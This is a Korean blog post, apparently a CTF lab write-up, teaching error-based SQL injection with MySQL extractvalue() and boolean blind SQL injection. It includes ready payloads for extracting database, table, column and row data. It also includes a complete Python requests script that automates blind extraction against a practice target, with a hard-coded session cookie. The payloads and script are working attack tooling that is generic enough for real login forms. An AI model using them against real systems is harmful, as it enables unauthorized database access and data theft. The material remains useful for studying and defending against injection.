본문 바로가기

웹 해킹

ErrorBased SQL Injection / Blind SQL Injection + Python 프로그래밍

SQL Injection의 종류

1. Union SQL Injection

> SQL 질의문 결과가 화면에 출력되는 경우

 

2. ErrorBased SQL Injection

> 에러메시지가 화면에 출력되는 경우

 

3. Blind SQL Injection

> 메시지가 출력되지 않는화면, (로그인 / 중복검사)

 

 

1. ErrorBased SQL Injection

 

-오류 기반 SQL Injection

 

> 데이터베이스의 정보를 추출하기 위해 사용되는 기법으로

로직에러, SQL 에러를 고의적으로 일으켜 에러메세지를 통해 데이터베이스의 정보를 추출하는 기법이다.

 

> Oracle, Mysql, Mssql / DB마다 로직에러를 일으키는 방법이 다 다르다.

> 대표적으로 Mysql - extractvalue() 함수가 있다.


 

MYSQL 환경

extractvalue()를 활용한 ErrorBased SQL Injection

 

* extractvalue() 함수란?

extractvalue(xml_frag, xpath_expr)과 같이 사용되며

xml_frag에 xpath_expr과 xpath가 일치하는 xml 노드를 반환하는 함수다.

 

실습

1. SQL Injection 포인트 찾기

> SQL 인젝션 공격이 가능함을 확인, 

> Error메시지가 화면에 출력됨을 확인 -> ErrorBased SQL Injection

 

2. extractvalue를 활용하여 고의적으로 로직 에러를 유발 -> 공격 포맷 만들기

> 화면에 보이는 " XPATH syntax error : 'jdleaf' " 구문안에 데이터베이스의 정보를 삽입하여 데이터를 추출한다.

방식은 extractvalue('1',concat(0x3a,(__SQL문구__))) # 를 활용한다.

0x3a는 ' : ' 을 뜻하며 concat함수로 select문구와 합쳐 로직 에러를 유발할 수 있게 도움을 준다.

이후에는 DB이름, TABLE이름, COLUMN이름을 알아내어 데이터베이스 정보를 추출할 수 있다.

Format : normaltic' and extractvalue('1',concat(0x3a,(__SQL문구__))) #

 

 

3.DB이름 추출

Keyword : normaltic' and extractvalue('1',concat(0x3a,(select database()))) #

> 데이터베이스 이름은 errSqli 임을 알 수 있다.

 

4. Table 이름 출력

Keyword : normaltic' and extractvalue('1',concat(0x3a,select table_name from information_schema.tables where table_schema = 'errSqli' limit 0,1))) #

> 한번에 한 행만 출력 될 수 있도록 설정되어 있으므로 limit 0,1문구를 같이 삽입.

 

5. Column 이름 출력

Keyword : normaltic' andextractvalue('1',concat(0x3a,(select column_name from information_schema.columns where table_name = '__TABLE 이름__' limit 0,1 ))) #  

 

6. 데이터 추출

Keyword : normaltic' and extractvalue('1',concat(0x3a,(select [__COLUMN 이름__] from [__TABLE이름__] limit 0,1))) #

 


 

Blind SQL Injection

 

참과 거짓을 인용하여 값을 추론해나가며 데이터를 추출하는 방식

예를들어 다음과 같다.

해당 페이지는 위 그림과 같이 SQL Injection 공격에 취약한 페이지는 맞지만

데이터가 조회되지 않고 -> UNION SQL Injection 불가

에러메시지가 출력되지 않는다 -> Error Based SQL Injection 불가

이럴때 사용이 가능한 공격이 Blind SQL Injection 공격이다.

 

 

SELECT 문을 통해 데이터를 추출할 것이기 때문에 SELECT 문구가 필터링 되어있는지 확인을 해준다.

그 뒤에 방법은 다음과같다

Keyword = normaltic' and (조건문) # 라고할 때

 

앞의 문구[normaltic]는 True 값

뒤의 and 이후 조건문도 참이 되게 만들어 '존재하는 아이디입니다.' 가 나오게 만들어 데이터를 추출하는 방식이다.

 

간단히 설명하자면

normaltic' and (데이터베이스 이름 맨 앞자리가 't' 인가요?) #

-> 존재하는 아이디입니다. 라는 문구가 나오면 두의 조건문도 참인 값이므로 데이터베이스 맨 앞글자는 't'라는 것을 알게된다.

 

공격 FORMAT 만들기

SELECT문구도 필터링되지 않음을 알고, 방법도 알았으니 FORMAT을 만들어 공격을 해보았다.

Blind SQL Injection의 방식은 ASCII 함수와 SUBSTR 함수를 사용한다

 

substr 함수는 substr('문자',NUM1,NUM2) 와 같이 사용되며

문자열이 있을때 NUM1부터 시작하여 NUM2만큼 데이터를 잘라주는 함수이다

예시)

substr('text',1,1) => 't'

substr('text',1,2) -> 'te'

 

예를들어 DB이름이 'TEST_TABLE'이라면

substr((select database(),1,1) -> 'T' 라는 값이 나온다.

이걸 ASCII 함수를 활용하여 문자를 정수로 만들어 비교하여 참이 되도록 만들것이다.

같은 예시로 ASCII 코드에서 'T' 는 정수 116인데

ascci(substr((select database(),1,1)) = 116 을 조건문에 넣어주면 참일경우 'T'라는 데이터베이스 이름의 시작은 'T'라는 값인것을 알 수 있게 된다.

 

공격 FORMAT : normaltic' and (조건문) # => normaltic' and (ascci(substr(([___SQL___],1,1)) > 80) #

실제 실습에서 하나하나 비교하는 과정은 너무 오래걸리므로 업/다운 게임을 하듯이 비교를 통해 값을 얻어주었다.

 

실습과정

 

> Repeater로 보내줌.

>100 이 넘어갈경우 False 판정

> DB이름의 첫번째 값은 아스키 코드값으로 80~100 사이에 있음을 알 수 있음.

해당 과정을 통해 DB이름과, TABLE이름, COLUMN이름을 추출하여 데이터를 추출할 수 있게 된다.

이 또한 한 행씩만 출력되므로 limt 문구를 작성해주어야한다.

 

마지막 데이터를 추출은 Python 코드로 만들어 데이터를 추출해보았다.(이왕하는거 전부 다..)


Blind SQL Injection - Python

 

[코드] - 길이 검색 함수

import requests

TARGET = "http://ctf.segfaulthub.com:1020/sqlInjection5_1.php"

header = {
    "Cookie":"session=a1bd2870-7d4c-4903-9c44-6db2644179eb.oKJG_t9oATFPKX0d1BcfkY0X9Ms",
    "Referer":"http://ctf.segfaulthub.com:1020/sqlInjection5_1.php",
    "Accept-Encoding":"gzip, deflate, br"
}

print('[i] 1. DB정보 알아내기')
print('[i] 2. Table정보 알아내기')
print('[i] 3. Column정보 알아내기')
print('[i] 4. 데이터 추출하기')
print('[i] 5. lengthTest')

cText = '존재하는 아이디입니다.'
start = int(input('원하는 숫자를 입력해주세요 : '))
query = 'query'

def lengthCheck(Text):
    print("[*]Length Check.")
    result = 0
    for i in range(1,100):
        data = {query : Text.format(i,'>',0)}
        req = requests.post(TARGET,data=data,headers=header)
        if i == 1 and cText not in req.text:
            print("[*]존재하지 않는 데이터입니다.")
            exit()
        if cText in req.text:
            result = i
        else:
            print("[*] Length : ", result)
            return(result)

 

어느정도 길이일지 모르는 값을 임의의 값을 넣어 반복문을 통해 알아내는것은 시간 낭비가 있어서

모든 코드를 작성한 후에 길이를 체크하는 함수를 추가 해주어 길이만큼 반복문을 실행하도록 하였다.


[코드] - 데이터 추출 함수

#Length TEST
# if start ==5:
#     Text = "normaltic' and (ascii(substr((select database()),{},1)) {} {})#"
#     data = {
#         query : Text
#     }
#     KK = lengthCheck(Text)
#     print ("KK: ",KK)
    
#DB정보 알아내기
if start==1:
    Text = "normaltic' and (ascii(substr((select database()),{},1)) {} {})#"
    result = ''
    _length = lengthCheck(Text)
    for i in range(1,_length+1):
        for j in range(65,130):
            data = {
                query : Text.format(i, '=', j)
            }
            req = requests.post(TARGET,data=data,headers=header)
            if cText in req.text:
                print('GET!',chr(j))
                result += chr(j)
                print(result)
                break
    print(result)

#Table정보 알아내기
if start ==2:
    row = input("몇번째 행의 테이블을 보시겠습니까?[0~n] :")
    dbName = input("DB이름을 입력해세요 : ")
    Text = "normaltic' and (ascii(substr((select table_name from information_schema.tables where table_schema ='"+dbName+"' limit "+row+",1),{},1)) {} {})#"
    print(Text)
    result =''
    _length = lengthCheck(Text)
    for i in range(1,_length+1):
        for j in range(65,130):
            data = {
                query: Text.format(i, '=',j)
            }
            req = requests.post(TARGET,data=data,headers=header)
            if cText in req.text:
                print('GET!',chr(j))
                result += chr(j)
                print(result)
                break
    print(result)

#Column정보 알아내기
if start == 3:
    tbName = input("테이블 이름을 입력해주세요 : ")
    # row = input("몇번째 행의 값을 보시겠습니까? [0~n] :")
    for row in range(6):
        Text = "normaltic' and (ascii(substr((select column_name from information_schema.columns where table_name = '"+tbName+"' limit "+str(row)+",1),{},1)) {} {})#"
        result =''
        _length = lengthCheck(Text)
        for i in range(1,_length+1):
            for j in range(65,130):
                data = {
                    query: Text.format(i,'=',j)
                }
                req = requests.post(TARGET,data=data,headers=header)
                if cText in req.text:
                    print('GET!',chr(j))
                    result += chr(j)
                    print(result)
                    break
        print(result)

#데이터 추출하기
if start == 4:
    tbName = input("테이블 이름을 입력해주세요 : ")
    tbColumn = input("컬럼 이름을 입력해주세요: ")
    # row = input("몇번째 행의 값을 보시겠습니까? [0~n] :")
    for row in range(6):
        Text = "normaltic' and (ascii(substr((select "+tbColumn+" from "+tbName+" limit "+str(row)+",1),{},1)) {} {})#"
        print(Text)
        result =''
        _length = lengthCheck(Text)
        for i in range(1,_length+1):
            for j in range(65,130):
                data = {
                    query : Text.format(i,'=',j)
                }
                req = requests.post(TARGET,data=data,headers=header)
                if cText in req.text:
                    print('GET!',chr(j))
                    result += chr(j)
                    print(result)
                    break
        print(result)

 

 


실제 사용